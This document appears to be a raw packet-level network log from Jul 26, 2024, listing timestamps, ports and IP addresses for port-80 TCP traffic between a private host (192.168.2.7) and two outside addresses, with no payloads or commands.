Jul 26, 2024 08:58:03.916301012 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.916587114 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.916596889 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.916608095 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.916824102 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.916835070 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.916846037 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.917119980 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.917130947 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.917141914 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.917151928 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.917162895 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.917176008 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.917186022 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.917670965 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.917681932 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.917691946 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.917701960 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918065071 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918076038 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918085098 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918097019 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918107033 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918116093 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918126106 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918137074 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918147087 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918157101 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918169022 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918945074 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918956041 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918966055 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918976068 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918986082 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.918996096 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919008017 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919018030 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919028997 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919039011 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919049978 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919883013 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919893980 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919903994 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919914007 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919924021 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919939995 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919950962 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919961929 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919971943 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919981956 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.919991970 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.920659065 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.921256065 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.921267986 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.921278000 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.921288013 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.921298981 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.921308994 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925477028 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925527096 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925539970 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925652981 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925664902 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925674915 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925920963 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925930977 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925935984 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925940990 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925950050 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.925961018 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.926254988 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.926311970 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.941540956 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.959726095 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.959790945 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.959790945 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.959985018 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.959985018 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960062027 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960062027 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960263968 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960263968 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960370064 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960370064 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960370064 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960459948 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960459948 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960459948 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960508108 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.960942030 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.971957922 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.971987009 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.971997023 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972137928 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972150087 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972167015 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972182989 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972193003 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972282887 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.972321987 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.972512960 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972695112 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972706079 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972714901 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972723961 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972734928 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972744942 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972755909 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.972937107 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.973251104 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.973263025 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.973273039 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.973283052 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.973294020 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.974837065 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.978539944 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.978600979 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.978612900 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.978703022 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.978797913 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.978815079 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.978949070 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.978961945 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:03.981518984 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:03.984204054 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.000767946 CEST	80	49803	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:04.002334118 CEST	49803	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:04.002649069 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.002728939 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.002741098 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.002859116 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.002906084 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.002918005 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.002940893 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.003287077 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.003298998 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.003309011 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.003319025 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.003329992 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.003434896 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.003434896 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.003556967 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.003567934 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.003578901 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.003770113 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.003782034 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.003791094 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.003916025 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.003916025 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.004076004 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004086971 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004096985 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004106998 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004117012 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004127026 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004137993 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004509926 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.004625082 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004635096 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004646063 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004656076 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004908085 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004919052 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004929066 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.004944086 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005251884 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005263090 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005273104 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005283117 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005292892 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005302906 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005312920 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005322933 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005937099 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005948067 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005958080 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005968094 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005978107 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005987883 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.005999088 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.006012917 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.006023884 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.006643057 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.006655931 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.006721973 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.006733894 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.006743908 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.006753922 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.006763935 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.006789923 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.007180929 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007196903 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007203102 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007208109 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007214069 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007225037 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007236004 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007246017 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007674932 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007688999 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007699013 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007709026 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007719040 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.007729053 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008510113 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.008519888 CEST	49803	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:04.008593082 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008605957 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008615017 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008625031 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008635998 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008645058 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008655071 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008665085 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008675098 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008685112 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008693933 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008704901 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008714914 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.008724928 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.009119034 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.009119034 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.009193897 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.009474039 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.009474039 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.013817072 CEST	80	49803	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:04.059112072 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059134007 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059146881 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059261084 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059336901 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059348106 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059359074 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059369087 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059746027 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059756994 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059767962 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059783936 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059794903 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059803963 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059814930 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059828997 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.059844017 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.060739994 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.060751915 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.060761929 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.060772896 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.062202930 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.062459946 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.062783003 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.066529989 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.066623926 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.066673994 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.066684961 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.066911936 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.066926003 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.066931963 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.067313910 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.089752913 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.089786053 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.089797020 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.089936972 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.089953899 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.089970112 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.089981079 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.089992046 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.090337992 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.090364933 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.090375900 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.090387106 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.090471983 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.090609074 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.090620995 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.090631962 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.090975046 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.091080904 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091090918 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091100931 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091110945 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091120958 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091130972 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091140985 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091150045 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091160059 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091888905 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091902971 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091912985 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091923952 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091933012 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.091943979 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092320919 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.092525959 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.092674971 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092685938 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092695951 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092705965 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092715025 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092721939 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092818975 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092829943 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092892885 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092905045 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092914104 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092926025 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092936039 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.092947960 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.093297958 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.093310118 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.093319893 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.093329906 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.093341112 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.093349934 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.093359947 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.093370914 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.093380928 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.093390942 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.093401909 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.094058990 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.094070911 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.094080925 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.094090939 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.094099998 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.094110012 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.094120026 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.094130039 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.094140053 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.094151020 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.094161034 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.095046997 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.095058918 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.095068932 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.095078945 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.095088959 CEST	80	49787	185.215.113.16	192.168.2.7
